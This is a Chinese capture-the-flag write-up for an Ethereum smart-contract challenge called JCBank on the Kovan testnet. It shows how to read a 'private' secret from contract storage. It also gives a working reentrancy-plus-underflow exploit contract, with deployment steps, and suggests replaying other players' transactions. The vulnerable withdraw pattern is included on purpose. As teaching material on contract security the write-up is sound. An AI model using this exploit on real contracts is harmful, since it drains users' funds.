-
题目分类:math
-
题目分值:flag1(200)+ flag2(300)
去年 Z 同学在赛后认真研发并推出了基于 CRC32 工作量证明的 CRC32 coin,但上线不到 2 分钟就被哈希碰撞攻击,后因多个严重的安全问题而被迫终止。Z 同学心想,既然自己实现的区块链不安全,那么在现有的区块链上使用智能合约应该不会再有安全问题了吧。于是,Z 同学在 ETH 的测试链上发布了一个智能合约,实现了类似银行的功能,大家可以在里面安全地存储代币,谁也不可能把别人的代币取走。除此之外,Z 同学还在智能合约里面存储了一个你绝对猜不出来的神秘数字(flag1)。
Z 同学还说,如果你支持他的项目,在合约中存储 1000000000000 个代币,就可以给你另一个 flag2 作为感谢。
如果上面链接无法访问,请阅读以下补充信息,不影响解题:
以太坊 Kovan 测试链,合约地址:0xE575c9abD35Fa94F1949f7d559056bB66FddEB51
合约源代码:
pragma solidity ^0.4.26;
contract JCBank {
mapping (address => uint) public balance;
mapping (uint => bool) public got_flag;
uint128 secret;
constructor (uint128 init_secret) public {
secret = init_secret;
}
function deposit() public payable {
balance[msg.sender] += msg.value;
}
function withdraw(uint amount) public {
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount)();
balance[msg.sender] -= amount;
}
function get_flag_1(uint128 guess) public view returns(string) {
require(guess == secret);
bytes memory h = new bytes(32);
for (uint i = 0; i < 32; i++) {
uint b = (secret >> (4 * i)) & 0xF;
if (b < 10) {
h[31 - i] = byte(b + 48);
} else {
h[31 - i] = byte(b + 87);
}
}
return string(abi.encodePacked("flag{", h, "}"));
}
function get_flag_2(uint user_id) public {
require(balance[msg.sender] > 1000000000000 ether);
got_flag[user_id] = true;
balance[msg.sender] = 0;
}
}
这是一道以太坊智能合约题,题目中考察的都是智能合约的经典漏洞。以太坊智能合约的常见漏洞大概就这几种,分别是整数溢出、随机数预测、Re-Entrancy(重入)等。
这道题给了 Solidity 源代码。如果没有源代码,逆向智能合约也不是很难。
这道题有些人可能没看到「打开/下载题目」按钮可以打开一个领取 flag 的网页,所以后来加了提示。
这道题使用 kovan 测试链,是因为出题人觉得 kovan 稳定 4 秒一个块,不用傻等交易进块。
get_flag_1
函数要求你输入正确的 secret
,才能给出 flag。而 secret
是 private 变量。
方法 1:
分析代码知,secret 是合约创建时传入的,查看创建合约的参数即可,例如在题目给出的链接那个区块链查看器上面直接找到
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac
也可以找到创建合约的交易,然后在交易的 Input Data 最后找到这串数字。
方法 2:
智能合约的所有状态都是公开的,其实 private 变量并不是真的保密,只是不提供直接访问的接口罢了。
我们可以通过查看合约的 EVM 汇编指令来得知这个 secret
变量位于 storage[0x02]
。当然,更方便的方法就是从 0 开始枚举寻找。然后直接从合约的 storage 里面读到它,例如使用有 web3 接口的环境(geth 客户端、安装了 metamask 插件的浏览器等)。
web3.eth.getStorageAt('0xE575c9abD35Fa94F1949f7d559056bB66FddEB51', 2, (err, data) => console.log(data))
方法 1:
把这个数截断到 uint128
,即 0x0175bddc0da1bd47369c47861f48c8ac
,作为 get_flag_1
函数的参数调用,即可得到 flag。这个函数是一个只读的函数,所以不需要发出交易。具体的方法很多,可以是在 etherscan.io 网页上调用,或者用自己的以太坊客户端调用,或者使用 remix 之类的 IDE 调用,或者自己写 web3 代码调用。
方法 2:
手工执行 get_flag_1
里面的逻辑,其实就是把这个数转换成十六进制表示的字符串,并且加上 flag{}
而已。
这一问是经典的 Reentrancy Attack,也是 2016 年著名的 The DAO Attack 的原因。当时攻击者利用这个漏洞盗取了约 360 万个以太币,最终导致了以太坊分叉成为 ETH 和 ETC。
本题的 get_flag_2
函数要求你的 balance
必须超过 1000000000000 ether 才能把你的 got_flag
改成 true。balance
是这个合约维护的一个 mapping 变量,把每个地址映射到一个数值。合约中的逻辑是,你通过 deposit
函数往合约中存入多少币,就给你增加多少 balance
。然后你也可以随时从合约中通过 withdraw
函数提走小于等于 balance
数额的币。通过存入 1000000000000 个币来满足要求是不现实的,所以我们需要利用漏洞。
在 withdraw
函数的 msg.sender.call.value(amount)();
一句代码中,合约会给调用者的地址上转账 amount
金额的币,但这里没有使用有 gas 限制的 msg.sender.transfer
或者 msg.sender.send
来转账,所以如果转账的目标是一个合约,合约接收到转账,它的 fallback 函数会被运行。其实在编译题目的合约时,编译器在这里会提示一个 warning。
在这一步中,我们可以自己写一个新的合约,这个合约的 fallback 函数是 payable 的,然后当它被执行时,我们再次调用题目合约的 withdraw
函数。此时,balance
还没有被减去第一次转账的金额,所以转账可以再次发生。我们可以使用一个计数器让转账只会发生两次,然后 balance
也会被减去两次。如果第二次减法不够减,就会发生整数溢出。因为 balance
是无符号的,此时你的合约对应的 balance
会变成一个巨大的数,就可以去拿 flag 了。
这部分过程大概可以描述为:
withdraw(amount=100):
题目合约中你的 balance 是 100,balance >= amount 满足
向 sender 转账 100,此时 sender(即你的合约)fallback 函数被调用
你的合约里面转账计数 n = 0,把 n 改为 1,再去调用题目合约 withdraw(amount=100):
题目合约中你的 balance 是 100,balance >= amount 满足
向 sender 转账 100,此时 sender(即你的合约)fallback 函数被调用
你的合约里面转账计数 n = 1,返回题目合约
balance 减去 100,得到 0
withdraw 执行完毕,返回你的合约
你的合约执行完毕,返回题目合约
balance 减去 100,溢出得到一个巨大的数
withdraw 执行完毕
在一个函数执行一半时,被打断,然后函数又被从头执行,在计算机中通常称为「Reentrancy(重入)」。如果函数的执行涉及到对全局变量的修改,那么很可能没有「可重入性」。
解决这类问题的方法有很多,比如不要让自己在不该被打断的时候打断,或者直接加锁禁止重入等等。对于题目这个合约,我们可以把转账那一行代码放在 balance[msg.sender] -= amount;
的后面以解决这个问题。
具体的解题合约如下,你需要以题目合约的地址为构造参数部署合约,然后调用它的 hack
函数,记得带上一定的以太币来调用函数。
如果题目合约中以太币数量为 0,那么第二次转账会失败,所以你可能需要提前用另一个地址给题目合约充一些币。
contract Hack{
uint public n;
JCBank public c;
constructor (JCBank addr) public payable {
n = 0;
c = addr;
}
function hack() public payable returns(bool) {
c.deposit.value(1)();
c.withdraw(1);
c.get_flag_2(这里填写你的 id);
}
function () public payable {
if (n == 0){
n = 1;
c.withdraw(1);
}
}
}
-
在你的以太坊客户端或者 metamask 浏览器插件中创建一个新的钱包地址(如果你之前没有的话)。
-
在网上找一个 kovan 测试链的 faucet 领取一些代币到你的地址。
-
在你的以太坊客户端或者 Remix IDE 中创建一个新的合约,代码填写题目合约代码和解题合约代码(如果只填写解题合约代码的话,它会找不到 JCBank 那些函数的接口),参数填写题目合约地址。编译器版本选择合约中写的 0.4.26。
-
发布合约!
-
带着一点以太币调用你刚刚部署的合约的
hack
函数。 -
去题目的网页领取 flag。
可以等其他人做出来这道题,然后去重放别人的交易。有些人可能会通过判断 owner 等方式保护自己的解题合约,但是总有人的交易可以直接重放。实在不行也可以逆向别人的解题合约。这里就不讲具体的操作了。
Solidity 语言官方文档中整理的常见安全问题:https://solidity.readthedocs.io/en/latest/security-considerations.html
对智能合约安全感兴趣的话,可以来玩这两个智能合约漏洞的解题练习平台: